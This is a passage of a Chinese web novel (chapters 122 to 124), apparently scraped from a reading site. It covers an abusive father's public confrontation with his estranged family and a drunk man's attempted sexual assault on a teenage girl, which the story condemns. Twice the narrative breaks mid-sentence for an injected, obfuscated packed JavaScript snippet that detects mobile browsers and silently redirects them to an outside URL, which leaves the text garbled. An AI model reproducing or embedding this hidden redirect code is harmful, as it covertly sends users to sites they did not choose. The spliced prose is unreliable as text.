李万原远远地就注意到了藏在六子身后的冬雪,他面露不悦,快步走上前去,对着冬雪呵斥道:“嘿,你这死丫头片子!见到你爹我,竟然连个招呼都不打,还躲起来!我看啊,我真该在你小时候就把你给掐死算了!” 一旁的六子见状,忍不住插嘴道:“你这人怎么能这么说话呢?” 李万原闻言,把矛头转向六子,没好气地说:“哪来的不知天高地厚的小兔崽子?我管教我自己的闺女,关你什么事啊?” 说着,李万原伸出手,想要把六子推到一边去。然而,他的手还没碰到六子,就被六子迅速地反手抓住了。 李万原只觉得自己的手腕像是被铁钳夹住了一般,剧痛难忍,不由得“哇”地一声惨叫起来:“哎呀呀,疼死我啦!快放开我,你这个小混蛋!” 正在这时,何芊菊听到了这边的吵闹声,急忙回过头来。她一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305264|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看到了被六子抓住的李万原,连忙跑过来喊道:“六子,快放开他!” 六子听到何芊菊的声音,这才松开了手。他狠狠地瞪了李万原一眼,警告道:“听好了,以后别再来骚扰雪儿和干娘,否则,我见你一次打你一次!” 李万原瞪大了眼睛,满脸狐疑地看着冬雪和六子,嘴里嘟囔着:“干娘?何芊菊,你还敢说你没有勾搭男人?这人家都直接喊上娘了,你还有什么好解释的!” 冬雪急忙辩解道:“你别胡说八道,六子哥哥是个孤儿,他从小就没有父母,所以才认了我娘做干娘的!” 李万原却不以为然,冷笑道:“哦?孤儿?那应该问我叫干爹啊,来,叫声干爹,说不定干爹我高兴了,还能赏你个橘子吃!”原来,他手中还提着刚买的一袋橘子! 六子听到这话,顿时怒不可遏,他扬起拳头,直接就给李万原来了一拳。 李万原突然像一滩烂泥一样瘫倒在地上,嘴里还不停地发出痛苦的哀嚎声:“哎哟,我的天哪,这可真是造孽啊!我含辛茹苦把这小兔崽子养大,他竟然敢动手打我这个当爹的!还有我那没良心的媳妇儿,也跟着别人跑了,连家都不回了,儿子和闺女也都不认我这个爹啦……” 他这一闹,立刻引起了周围路人的注意,人们纷纷围拢过来,像看西洋镜一样看着李万原,还指指点点,交头接耳地议论着。 “这男人看着怪可怜的,怎么儿子会打他呢?” “谁知道呢,说不定是有什么隐情吧。” “唉,现在的年轻人啊,真是越来越不像话了。” …… 六子听到李万原的话,气得满脸通红,他怒不可遏地吼道:“谁是你儿子?你少在这里胡言乱语!再敢乱说话,信不信我真的打死你!” 一旁的何芊菊见状,急忙伸手拉住六子,劝道:“别跟他这种人一般见识,咱们走!” 然而,李万原却不依不饶,他挣扎着从地上爬起来,指着何芊菊,恶狠狠地说:“何芊菊,你给大家说清楚,你跟我到底是什么关系!” 一时间,众人的目光都集中到了何芊菊身上,大家开始窃窃私语,对他们之间的关系猜测不已。 李万原站在人群中央,满脸张狂地叫嚷着:“这个女人本来就是我媳妇儿,可谁知道有一天她突然就带着我闺女一起失踪了!我找了她们好久,今天好不容易才在这里找到她们,结果呢,她们居然还对我动手动脚的!你们大家来评评理,这到底是谁的问题啊?” 随着他的话音落下,周围的人群开始骚动起来,人们纷纷交头接耳,对着何芊菊指指点点。何芊菊站在那里,脸色苍白,嘴唇颤抖着,想要解释却又不知从何说起。 就在这时,冬雪突然站了出来,她小小的身躯挡在了母亲身前,毫不畏惧地直视着李万原,大声说道:“你胡说!明明是我发高烧生病了,你不管我也就罢了,还不准我娘管我!我娘为了带我去看大夫,挨了你一顿打,没办法才背着我出来找大夫的!” 冬雪的话让周围的人都愣住了,他们开始重新审视起这件事情来。然而,李万原却不肯罢休,他瞪着冬雪,恶狠狠地说:“我就说吧,看个大夫的功夫居然就一起失踪了,不是外头有男人接应还能是什么!” 就在这个时候,那些不明就里的路人们纷纷站到了李万原那一边,七嘴八舌地议论起来:“就是啊,看看这个女人,长得倒是一副贤惠的模样,谁能想到她竟然是如此不守妇道呢!” “还有那个丫头,完全就是被她那个当娘的给教坏了呀,你们瞧瞧,连自己的亲爹都不认了!” “快走开快走开,我以后可绝对不会把菜卖给你这种女人的!” 这群人你一言我一语,说个不停,而何芊菊则是泪流满面,她一边哭一边喊道:“事情真的不是这样的!” 第122章 毫无关系 一旁的六子看到这一幕,心里也十分气恼,他忍不住大声说道:“你们凭什么这样说**娘!” 然而,这些路人根本不听他的解释,依旧对何芊菊指指点点。冬雪见状,觉得情况有些不妙,于是她当机立断,立刻转身朝着万家跑去,准备去找班主来解决这个麻烦。 不一会儿的功夫,只见一位身姿婀娜、步履轻盈的女子款款走来。她身着一袭素雅的长衫,衣袂飘飘,宛如仙子下凡。李万原定睛一看,心中不禁涌起一丝惊讶——这班主竟然是个女人! 赵班主走到近前,美眸流转,扫视了一圈众人,然后将目光落在了六子身上,娇嗔道:“六子,你在这里胡闹什么呢?” 六子听到班主的声音,像只受惊的兔子一样,赶忙低着头,畏畏缩缩地退到了班主后面。 何芊菊见状,连忙挺身而出,解释道:“班主,您别责怪六子,这事儿跟他没关系,都是因为我……” 李万原此时也回过神来,他上下打量着这位赵班主,好奇地问道:“你就是班主啊?真是没想到,居然还是个女人呢!我之前还以为……” 赵班主柳眉一挑,打断了李万原的话,傲然说道:“女人怎么了?男人能做到的事情,女人未必做不到!”她的声音清脆悦耳,却又带着几分威严,让人不禁为之一震。 李万原开口道:“好,好,好!我说不过你!但是我媳妇儿和孩子被你们赵家班藏起来这么久,你难道就不应该给我一个交代吗?” 班主面无表情地看着李万原,缓缓说道:“她们真的是你的家人吗?” 李万原瞪大了眼睛,怒气冲冲地回答道:“这还用得着问吗?我自己的媳妇儿和孩子,我难道还能不认识不成?” 班主嘴角微微上扬,露出一丝不易察觉的笑容,说道:“那就好,我还担心你会不认账呢!” 然而,在场的所有人都对班主这句话感到十分困惑,不明白他到底是什么意思。 就在这时,班主突然话锋一转,对着李万原质问道:“我倒是想问问这位大哥,您的家人流落街头的时候,您又身在何处呢?” 李万原瞪大了眼睛,满脸不可置信地看着班主,大声驳斥道:“你别在这里信口胡诌!她们什么时候流落过街头?你这完全就是一派胡言!” 班主嘴角泛起一抹冷笑,不紧不慢地回应道:“我有没有胡说,你大可以问问她们母子二人,自然就一清二楚了。哦,对了,我差点都忘记了,你这孩子当初病得可不轻啊,我们可是耗费了大量的钱财和精力才将你治好的呢。就是因为她们欠了我一大笔钱,无力偿还,所以我才好心收留她们母子在此处替我做事,以工抵债。既然你如今都找到这里来了,那正好,把她们欠我的钱一次性结清给我吧!” 李万原闻言,如遭雷击,整个人都愣住了。他万万没有想到,事情竟然会发展到如此地步。 他惊愕地看着班主,结结巴巴地说道:“什么?她们欠了你的钱?这怎么可能?我根本就不知情啊!她们欠的钱跟我有什么关系?我凭什么要替她们还?” 班主面带疑惑地看着李万原,说道:“你这人可真是奇怪啊,刚才你不还亲口承认她们是你的家人吗?怎么这会儿又说跟你没有关系了呢?” 李万原瞪大眼睛,一脸狐疑地看着班主,反驳道:“你这是故意的……不对,你肯定在骗我!她们欠了你多少钱?” 班主嘴角微微上扬,露出一丝狡黠的笑容。他不慌不忙地从怀中掏出一张清单,递给李万原,说道:“这可是前几天药铺的老板亲手写的,绝对没有半点虚假。” 其实,平日里赵家班里的孩子们,跌打损伤总是难免的,赵家班早就赊账了一年了。本来班主还打算着去还清这笔账呢,只是最近实在太忙,一直抽不出时间。正巧就把那欠了钱的账单拿出来给李万原查看,想着应付这么一个土汉子,应该是能忽悠过去的。 李万原接过清单,粗略地看了一眼,不禁眉头紧皱,惊讶地叫道:“怎么这么多?你怕是在骗我吧?” 班主一脸愁苦地说道:“是啊,你不提醒我,我差点都忘记了,这还只是前天药铺掌柜写给我的药钱呢,我还没有算上她们在我赵家班里的吃住用品……那要是加在一起的话,起码得……”她一边说着,一边掰着手指头算着,似乎这笔账让她十分头疼。 李万原不耐烦地打断了班主的话,大声说道:“行了行了行了,你不用算了,从今以后,她们跟我没关系了,她们自己欠的债自己还!”他的声音中透露出一丝决绝,似乎已经对这些事情感到厌倦。 然而,李万原的这番话却引起了周围一群人的不满。他们开始对着李万原指指点点,议论纷纷:“这个人怎么这样啊?” “就是啊,太不负责任了吧!” 李万原听到这些议论声,心中更加烦躁。他瞪了那些人一眼,没好气地说道:“去去去,都滚一边儿去!”然后转身准备离开。 可是,他刚走了几步,突然像是想起了什么似的,又猛地回过头来,对着班主说道:“不对啊,这小子是你们赵家班的吧!看他刚才一拳头把我给揍得!你得赔偿我,要不然我就坐在你们赵家班门口,说你们**……” 六子一听这话,顿时怒不可遏,他瞪大了眼睛,满脸涨得通红,对着对方吼道:“你竟然还敢威胁班主,信不信我现在就打死你!” 一旁的班主见状,连忙出声呵斥道:“六子,给我回去!” 然而,六子此时已经被怒火冲昏了头脑,他依旧死死地盯着李万原,那眼神仿佛要喷出火来一般。 李万原则是一脸冷笑地看着六子,不紧不慢地说道:“还是班主明事理啊,不像某些臭小子,只知道动手……” 他的话还没说完,就被班主打断了。班主一脸严肃地对李万原说道:“六子打你确实是他的不对,我在这里替他向你道歉!” 李万原显然对这样的道歉并不满意,他嘴角微微上扬,露出一丝不屑的笑容,说道:“道歉?就道个歉?这就算完了?” 班主见状,赶忙说道:“或者,你要是觉得不满意,也可以打回去,我保证他绝对不会还手!” 李万原听了这话,不禁瞪大了眼睛,难以置信地看着班主,说道:“你……你这不是胡闹吗?” 班主一脸怒容地看着眼前的人,提高了音量说道:“我都已经向您道歉了,您还不接受,难道您是想要钱财不成?可别忘了,你们还欠着我的钱呢!这事儿要是让大家来评评理,您觉得应该怎么处理才合适呢?” 她的话音刚落,街上的人们便开始窃窃私语起来。 “原来这个男人就是想要讹钱啊……” “就是啊,我看那个**的也不过是个孩子,能有多大力气啊,**能有多疼呢……” “这班主也太不容易了,好端端的居然被这种人讹上了!” 众人的议论声此起彼伏,似乎都对这个男人的行为表示不满。 班主听着这些议论,嘴角微微上扬,露出了一丝不易察觉的笑容。她心里暗自思忖:“小六虽然看起来像个孩子,但实际上他可是练了好几年童子功的,下手自然不会轻。” 李万原看到这一幕,心中暗自思忖:“哼,既然你们都这样对我,那我可就真的不客气了啊!”他嘴角泛起一丝冷笑,然后大声说道:“那我可真的打回来了啊,你们可不准还手……” 然而,当他真的扬起手准备动手时,目光却与六子那怒视着自己的眼神交汇在一起。刹那间,李万原心中竟然生出一丝恐惧,原本的气势也瞬间消失得无影无踪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311094|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他犹豫了一下,最终还是放下了手,有些无奈地嘟囔道:“算我今天倒霉吧,今天你打我的事儿就算了!”说这话的时候,他的声音明显低了八度,完全没有了刚才的底气。 李万原站在原地,稍稍思索了一会儿,然后像是下定了决心一般,对着班主说道:“我今天在这儿把话可说明白了啊,她何芊菊以后跟我可没半分关系啊!以后你走你的阳关道,我过我的独木桥……那丫头片子我也不稀罕……你自己欠下的债你就自己慢慢还吧!” 说完,他头也不回地转身离去,留下六子和其他人在原地,面面相觑。 待李万原走远了以后,班主看着何芊菊,眼神中透露出一丝担忧和无奈。她缓缓地开口说道:“要不是冬雪去找我,你是不是真的会把手里存下的那点钱都拿给他?” 何芊菊听到这句话,她低垂着头,不敢直视班主的眼睛,轻声说道:“对不起,都是我不好……” 班主叹了口气,摇了摇头,继续说道:“这不怪你,我只是觉得你应该更加理智一些。倘若我今天不出现,你今日给了钱,明日他必然想要的更多,将来你给他再多的钱也填不满他的无底洞,这样你和冬雪还怎么过?” 何芊菊的泪水在眼眶里打转,她哽咽着说:“我知道,可是我……” 班主打断了她的话,语重心长地说:“我理解你的难处,还好他以后应该不会再来打扰你们了!” 何芊菊默默地点了点头,她知道班主都是为了她好。 这时,班主又将目光转向了六子,严肃地说:“六子,以后你的脾气也该收敛一些。不是所有事情都是动手才能解决问题的,动手有时候只会让事情变得更糟。” 六子挠了挠头,有些不好意思地说:“班主,我知道错了,以后我会注意的。” 何芊菊看着班主,心中充满了感激。她知道,如果不是班主及时出现,她今天真不知道该怎么办了。 此时,何芊菊和冬雪紧紧地相拥在一起,她们的脸上都洋溢着幸福的笑容。何芊菊从来都没有像今天这般开心过,她自由了,是真的自由了,不用再担心被李万原纠缠了,这让她觉得无比珍贵。 时间如白驹过隙般转瞬即逝,短短两月便已匆匆而过。这一天,云义如期回到家中,将自己辛苦挣来的工钱交给了嫂子:“大嫂,这是我大哥让我捎回来的工钱。” 秀兰满心欢喜地接过工钱,随口问道:“怎么你大哥他又没回来啊?”言语之中,流露出对丈夫的些许挂念和埋怨。 一旁的杏花连忙插嘴道:“哎呀,你就别着急嘛!云亭他可能是事情太忙了,抽不开身。再说了,你这肚子不是还没到时候嘛!等孩子出生的时候,云亭肯定会回来的啦!” 然而,尽管杏花嘴上说得轻松,心底却也不禁泛起一丝疑惑。要知道,云亭向来不是那种会让家人担忧的人,可这次却迟迟未归,着实有些反常。 然而,此时此刻最为关键的还是秀兰腹中的胎儿。无论发生什么情况,都必须保证这个孩子能够平平安安地降生到这个世界上。也许,再过两个月云亭就能回到家中了吧?她在内心深处默默祈祷着,希望这一天能够早日到来。 就在这时,杏花突然想起了什么,她连忙高声呼唤云义进屋。云义听到母亲的呼喊,赶忙应声而入,问道:“娘,您找我有什么事情吗?” 杏花看着云义,眼中流露出一丝疑虑,她轻声说道:“云义啊,你跟娘说实话,你大哥他是不是遇到了什么麻烦事啊?” 云义一听,心中不禁一紧,但他还是强作镇定地回答道:“娘,您别胡思乱想了!我大哥能有什么事情呢?” 杏花见状,越发觉得事情有些不对劲,她紧紧盯着云义的眼睛,追问道:“那你为什么都不敢看着我的眼睛说话呢?” 第123章 霸王硬上弓 云义被母亲这么一问,顿时有些语塞,他低下头,避开了杏花的目光,支支吾吾地说:“娘,您就别再问了,过段时间,我大哥自然就会回来的!” 杏花见云义如此躲闪,心中的担忧愈发严重,她追问道:“你大哥他到底是受伤了?还是出了其他什么状况?你快告诉娘啊!” 云义有些无奈地看着母亲,说道:“娘,你别总是胡思乱想啦,我大哥身体好着呢,比我都强壮!” 杏花却还是忧心忡忡的样子,她皱着眉头说:“不是我乱想啊,是你大嫂总说心里乱糟糟的,我这心里也跟着乱起来了。也不知道是不是因为你大哥没回来,所以才一直惦记着。” 云义心里也有些不是滋味,他默默地走出了房门。站在院子里,他从包里掏出了一路上买回来的东西。还说这些东西都是大哥托他带回来的。 他先拿出了两支钢笔和两瓶墨水,这是给传家传业的。传诚年纪还小,云义给他准备了一根铅笔和一个本子。然后,他又小心翼翼地拿出了一条鲜艳的红围巾,这是给大嫂的。最后,还有一顶帽子,那是给娘戴的。 云义把这些东西一一摆在桌上,然后对家人说:“这些都是大哥让我捎回来的,每个人都有。” 一家人看到这些礼物,都开心得不得了。杏花更是喜笑颜开,她抚摸着那条红围巾,嘴里念叨着:“这围巾真好看,云亭还是有心的。” 传家传业兴奋地拿起钢笔,爱不释手。传诚则好奇地看着那支铅笔和本子,眼中充满了期待。 杏花满脸感慨地说道:“时间过得可真快啊,再过两个月就要过年啦!云亭也应该要回来了吧。到时候咱们一家人团聚在一起,那场面得多温馨啊!” 秀兰听了,心中也不禁涌起一股暖流,她微笑着回应道:“是啊,一转眼都快要过年了,我想云亭肯定会回来的!” 然而,云义的内心却突然有些不安起来。他暗自思忖着:“是啊,眼看着就要过年了,这可如何是好呢?到时候姚光宇他们都会回来过年,可偏偏大哥却没有回来,这可怎么向大家解释呢?” 正当云义胡思乱想之际,杏花似乎察觉到了他的异样,于是开口问道:“你这是什么表情啊?有什么心事吗?” 云义犹豫了一下,还是决定把自己的担忧说出来:“娘,我在想,要是到了过年的时候,大哥因为工钱高,想多赚点钱再回来,那可怎么办呢?” 杏花一脸嗔怪地看着眼前的孩子,语重心长地说道:“你这孩子啊,怎么就只长前心不长后心呢?那钱就算再多又能怎样呢?过年最重要的就是一家人团团圆圆啊!钱是永远都赚不完的,但亲情却是无价的。人呐,还是要学会知足才行啊!” 然而,云义听着这些话,心里的苦闷更加强烈。第二天清晨,天还未亮,他便趁着娘和嫂子还未起床,悄悄地收拾好行李,把传家叫醒,让他帮忙照顾好家里每个人,就背上行囊走出了家门。 且说那秋容,一路风尘仆仆,终于将女儿玉露送到了县城里。她的姨妈在县城开了一家裁缝铺子,生意还算不错。 当秋容向姨妈说明来意,希望姨妈能收玉露为徒,传授她裁缝手艺时,姨妈脸上立刻露出了欣喜的笑容。毕竟,姨妈自己已经做了很多年的裁缝,如今年纪渐长,眼睛也不如从前那般好使,这裁缝铺子早就交给了自己的女儿燕子在打理,她平日里也不怎么过问铺子的事情了。 然而,看到秋容带着玉露亲自上门恳请,姨妈二话不说便爽快地答应了下来。她告诉秋容,玉露跟着自己的女儿燕子学手艺,肯定也是一样的好。 秋容听了姨妈的话,心中的一块大石头终于落了地。她放心地将玉露留在了姨妈家,自己则独自一人踏上了归途。临行前,秋容还不忘再三叮嘱玉露,一定要听燕子阿姨的话,好好学习裁缝手艺。 燕子满心欢喜地看着眼前的玉露,她可是多年未见的表姐的女儿啊!而且,裁缝店的生意也不算太忙,平日里店里就只有燕子一个人守着,现在有玉露来作伴,自然是再好不过了。 于是,玉露就这样顺理成章地住进了燕子的家里。燕子的家庭情况并不宽裕,全家的主要经济来源都依赖于这家裁缝店。燕子还有一个年仅两岁的儿子,由于她需要在店里忙碌,所以平日里都是由老娘在家照看着孩子。 然而,燕子的丈夫彭志远却让她十分头疼。在刚与燕子成婚的那两年,彭志远还算得上是个勤恳的男人,努力工作赚钱养家。可自从那次意外事故导致他的一条腿受伤后,他就像变了个人似的,开始自暴自弃。他不仅天天在外面喝酒**,对家里的事情更是不闻不问,完全不顾及燕子的辛苦和家庭的责任。 久而久之,养家的重担就全部落在了燕子一个人的肩上,她既要照顾孩子,又要打理裁缝店的生意,生活的压力可想而知。 初来乍到县城的玉露,对这个陌生的环境感到有些不太适应。她不禁开始怀疑自己是否真的应该来到这个县城,心中涌起一股淡淡的后悔情绪。 然而,值得高兴的是,第二天国柱就来到了县城看望玉露。还带来了一个年纪与他相仿的男孩子,这个男孩子就是冯玉龙。 玉露和冯玉龙,彼此之间就像是有一种天然的默契。他们很快就聊了起来,而且发现彼此之间有着许多共同的兴趣爱好。无论是爱吃的食物,还是喜欢的东西,竟然都一模一样! 在外人看来,国柱和冯玉龙之间的关系就如同亲兄弟一般,而玉露和冯玉龙也像是亲兄妹一样。 国柱对冯玉龙说道:“玉龙兄弟,你家离这里不远,以后有空的时候,可要多帮我照顾一下我妹子哦!” 冯玉龙毫不犹豫地回答道:“国柱大哥,你就把心放到肚子里吧!你妹子不就是我妹子嘛,咱俩这交情,那可是过命的啊!你还能不相信我这个兄弟吗?” 国柱听了冯玉龙的话,脸上露出了满意的笑容,他连连点头,笑着说道:“我当然相信你啦!你这人我还不了解吗?那绝对是个靠得住的人!” 冯玉龙嘴角挂着微笑,眼神温柔地看着玉露妹子,轻声说道:“玉露妹子,以后要是你有时间啊,我肯定会带你尝遍这县城的美味佳肴……” 然而,就在这看似平静的一天夜晚,一场突如其来的变故却如暴风雨般骤然降临。燕子的儿子毫无征兆地发起了高烧,而且病情异常严重。燕子心急如焚,她的手颤抖着,慌乱地抱起儿子,脚步踉跄地冲出家门,急匆匆地去找大夫。 老母亲见状,心中的担忧瞬间涌上心头,她毫不犹豫地紧跟在燕子身后,一同匆匆忙忙地出门而去。 此时此刻,家中只剩下玉露一个人孤零零地待着。她看着空荡荡的房间,心中不禁涌起一丝不安。 令人意想不到的是,燕子他们前脚刚走,那个不争气的男人彭志远便摇摇晃晃地走了进来。他浑身酒气,显然是喝醉了。 一进门,他就扯开嗓子叫嚷起来:“燕子,快给老子倒杯水!” 玉露听到声音,赶忙从房间里走出来。她看到彭志远那副醉醺醺的模样,心中有些无奈,但还是礼貌地回答道:“孩子病了,阿姨带他出去找大夫了!”说罢,她顺手倒了一杯水,放在桌上,然后转身准备回房间。 彭志远嘴里不停地嘟囔着:“病了?真是没用,连个娃子都照顾不好!”他一边抱怨着,一边抬头随意地瞟了一眼玉露,然后漫不经心地问道:“家里就你一个人吗?” 玉露轻声回答道:“嗯,就我一个人在家。”她的声音有些低沉,似乎带着些许疲惫。 彭志远心中暗喜,他的嘴角微微上扬,露出了一 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彭志远却若无其事地笑了笑,他的脚步有些踉跄,显然是喝多了酒。“天太黑了,彭叔担心你一个人会害怕,所以进来陪陪你嘛。”他的语气轻佻,让人听了很不舒服。 玉露吓得浑身发抖,她拼命地往床角退缩,想要离彭志远远一点。“彭叔,你别过来!燕子阿姨要是知道了,她会生气的!”她的声音中充满了哀求。 然而,彭志远对她的哀求完全无动于衷,他一步步地逼近玉露,嘴里还嘟囔着:“谁在乎她啊?要不是她能赚钱养家又给老子生了孩子,老子早就走了!不如,我带你远走高飞,去过咱俩的小日子!” 玉露的脸色变得苍白如纸,她的心跳急速加快,仿佛要跳出嗓子眼儿了。“彭叔,你喝醉了!你再这样,我可要喊人了!”她的声音带着哭腔,已经到了崩溃的边缘。 彭志远却不以为然地笑了起来,他的笑声在这寂静的夜晚显得格外刺耳:“这里是我家,你喊人又能怎么样?喊人来了你怎么说?说是我逼你脱的衣服吗?那可是你自己脱的!难道不是你故意在勾引我,你说信你的会有几个?”彭志远的声音越发的大了起来,他的脸上露出了狰狞的表情,那双原本就不大的眼睛此刻更是眯成了一条缝,透露出丝丝寒意。 说着,他伸出了那双油腻的大手,如同饿狼扑食一般,死命地抓住了玉露的手。玉露只觉得内心恐惧提到了嗓子眼,让她浑身都写满了害怕。 “你瞧瞧,这皮肤多细嫩,不像那老娘们儿似的,手都糙的能……”彭志远一边说着,一边用另一只手轻轻抚摸着玉露的手背,那动作极其猥琐,让人看了就觉得恶心。 玉露拼命地想要把手往回缩,她的脸色因为愤怒而涨得通红,但是彭志远却抓得更紧了,仿佛生怕她会挣脱似的。 “不如你就听话跟了我,我保证以后让你跟燕子平起平坐,咱们三个一起过日子不是更好!”彭志远的语气突然变得温柔了起来,但是那温柔的背后却隐藏着无尽的贪婪和欲望。 玉露怒不可遏,她瞪大了眼睛,狠狠地瞪着彭志远,骂道:“我呸,你放开我,想不到你竟是这样无耻的人,我就是瞎了眼也不可能看上你这种臭虫!” 彭志远怒不可遏,他的手像闪电一样迅速地挥了出去,带着满满的愤怒和不屑,狠狠地扇在了王玉露的脸上。 “啪”的一声脆响,在空气中回荡:“就你这小**还敢嫌弃老子?”彭志远的声音中充满了愤怒和轻蔑,他瞪大了眼睛,死死地盯着眼前的人,好像要把对方生吞活剥了一样。 “谁不知道你们母女俩的那些烂事儿?”他继续说道,语气越发的尖酸刻薄,“都被人玩过了,也不差多我一个!” 说完,彭志远便像一头饿狼一样,猛地扑向了对方,完全不顾及对方的反抗和挣扎,直接就打算霸王硬上弓…… 第124章 恶人先告状 就在这千钧一发的关键时刻,仿佛是上天特意安排好的一般,孩子突然在外面吐了燕子一身。燕子现在这种情况,她只能让老母亲先带着孩子去找大夫了,等自己回家换套衣服再去大夫那里接他们一起回家。 然而,当燕子匆匆忙忙地回到家时,眼前的一幕却让她瞠目结舌,内心瞬间被震惊和痛苦所淹没。她怎么都想不到,彭志远怎么会是这样的人! 燕子的怒火一下子被点燃了,她气得浑身发抖,双眼冒火,冲上去对着彭志远就是狠狠地两巴掌,怒喝道:“姓彭的,你这个混蛋,你怎么对得起我?” 可就在这时,令人意想不到的事情发生了。彭志远这个罪魁祸首,不仅没有丝毫的愧疚和羞耻,反而像个泼妇一样,恶人先告状起来。 他摇晃着身体,满脸通红,一副醉醺醺的模样,对着燕子大声嚷嚷道:“燕子,我就喝了点酒,迷迷糊糊的,完全不知道发生了什么事啊!都是她,是她一直在勾引我!” 玉露一脸的委屈,泪水在眼眶里打转,她不停地摇着头,嘴里喃喃地说着:“我没有……”声音带着一丝哭腔,让人不禁心生怜悯。 然而,燕子此时正在气头上,根本不听玉露的解释,她怒不可遏,二话不说,扬起手就朝着玉露狠狠地扇了一巴掌。这一巴掌打得又重又响,玉露的脸颊顿时泛起了一道红红的掌印。 “死丫头,还不赶紧把衣服穿上!”燕子怒目圆睁,对着玉露吼道,“你这样衣衫不整的,是想勾引谁啊?”她的话语如同一把利剑,直直地刺向玉露的心窝。 彭志远站在一旁,看着这一幕,脸上竟然露出了一丝得逞般的笑容。他似乎对自己的所作所为毫无愧疚之意,反而还在狡辩:“媳妇儿,我错了,真的是喝多了,天黑,没看清,我以为屋里的人是你呢!而且她又不吭声……” 燕子听到彭志远的这番话,更是气不打一处来。她转而揪住彭志远的耳朵,像拖死狗一样把他往外拽。“那你还不赶快给我出去!”燕子边拽边骂道,“还打算看多久啊?” 彭志远被燕子揪得龇牙咧嘴,但他还是不敢反抗,只得乖乖地跟着燕子走出了屋子。 走到门口时,燕子停下脚步,转头对着彭志远恶狠狠地说:“姓彭的,别以为我不知道你是怎么想的!你撅撅屁股,我就知道你拉什么屎!”说完,她猛地一甩门,“砰”的一声,门在彭志远的面前重重地关上了。 彭志远一脸焦急地解释道:“媳妇儿,你听我说啊,我真的不是那种人啊!我要是早知道屋里是那个丫头片子,打死我也绝对不会做出这种事情来的啊……” 燕子却丝毫不为所动,只是冷哼了一声,满脸不屑地看着彭志远,说道:“你当我真的就蠢得那么无可救药了吗?玉露住的那个房间,可是我们家荒废了好多年,专门用来堆放杂物的地方,就算你喝多了,又怎么可能连自己的房间都不认识了呢?” 彭志远连忙摆手,继续解释道:“媳妇儿,我真的是冤枉啊!明明就是那个丫头,她趁我喝醉了不省人事的时候,把我给扶进她屋里去的啊!” “我没有!”就在这时,玉露突然从房间里冲了出来,她已经迅速穿好了衣服,一脸怒容地瞪着彭志远,气愤地喊道:“明明就是他自己突然闯进我房间里去的!” 彭志远怒目圆睁,对着玉露吼道:“你个死丫头片子,再乱说话,我拔了你的舌头!”他的声音震耳欲聋,仿佛整个房间都在颤抖。 玉露眼中含着泪花,她紧紧咬着嘴唇,不敢再发出一点声音。 彭志远又立马转向一旁的燕子,一脸殷勤的解释道:“媳妇儿,你别听她胡说,她就是故意想要挑拨离间咱们俩的关系……” 然而,燕子并没有继续和彭志远纠缠下去,而是转头对玉露说:“玉露,你把东西收拾一下,跟我走!” 玉露心里一喜,她以为燕子是要把她送回家去,这样她就可以逃离这个可怕的地方了。于是,她像一只受惊的兔子一样,飞快地跑进屋,迅速收拾好自己的东西。 不一会儿,玉露就拎着一个小包裹出来了。燕子看着她,轻声说道:“我们走吧!” 彭志远见此情景,有些着急地问道:“媳妇儿,这大半夜的,你们这是去哪儿啊?” 燕子瞪了他一眼,没好气地说:“你要是太闲,就该关心关心孩子,而不是天天醉生梦死……”说完,她便头也不回地带着玉露往外走去。 玉露跟在燕子身后,心里却有些忐忑不安。过了好一阵儿,她才怯生生地问了一句:“我们这是去哪儿啊?” 燕子转过头来,脸上露出一丝愧疚之色,轻声说道:“玉露,对不起啊,刚才是我太冲动了,我不该那样对你的,希望你别往心里去。我向你道歉,你没有被我打伤吧?” 玉露微微摇了摇头,嘴角泛起一抹微笑,柔声回答道:“没有,我没事的。” 燕子见状,心中稍安,接着说道:“那太好了,我还担心会伤到你呢。对了,以后你就住在裁缝店里吧,店里的阁楼虽然空间不大,但住一个人还是足够的。” 玉露有些惊讶地看着燕子,疑惑地问道:“那我以后就住在裁缝铺子里面吗?” 燕子点了点头,肯定地回答道:“是啊,这样你也能有个安身之所。我会每天给你送饭过来给你吃的,你不用太担心的。” 玉露连忙摆手,笑着说:“不用这么麻烦啦,其实我自己做饭也是可以的。” 燕子连忙解释道:“不是不让你做饭,只是铺子里实在没有地方可以烧火,所以才没办法做饭。” 两个人一前一后地走进裁缝铺子,燕子从兜里掏出店铺的钥匙,郑重地交到玉露手中,并详细地交代了一些事情后,便急匆匆地赶往大夫那里。 不一会儿,燕子抱着孩子,领着母亲回到了家中。一进门,她就看到彭志远像头死猪一样,睡得死死的,呼噜声此起彼伏。 燕子心中不禁有些气恼,这个男人怎么这么不负责任!她气鼓鼓地走到床边,飞起一脚,狠狠地踹在彭志远的屁股上。 “砰”的一声,彭志远被这突如其来的一脚踹得直接从床上滚落到地上。他猛地惊醒过来,睡眼惺忪地嘟囔道:“怎么回事?地震了?” 彭志远一边揉着屁股,一边茫然地四处张望。当他的目光落在燕子身上时,突然意识到发生了什么。他连忙从地上爬起来,看着燕子抱着儿子,一脸幽怨地盯着他,心中顿时有些发虚。 “媳妇儿,你们回来了啊?”彭志远陪着笑,小心翼翼地问道,“那丫头呢?” 燕子没好气地瞪了他一眼,彭志远接着说道:“要我说,那种不知好歹的丫头就应该从咱们家里赶出去!” 燕子怒不可遏地吼道:“我看,出去的人应该是你吧,你马上给我滚出去!”话音未落,她便如同被激怒的狮子一般,猛地将彭志远的枕头也扔了出去。 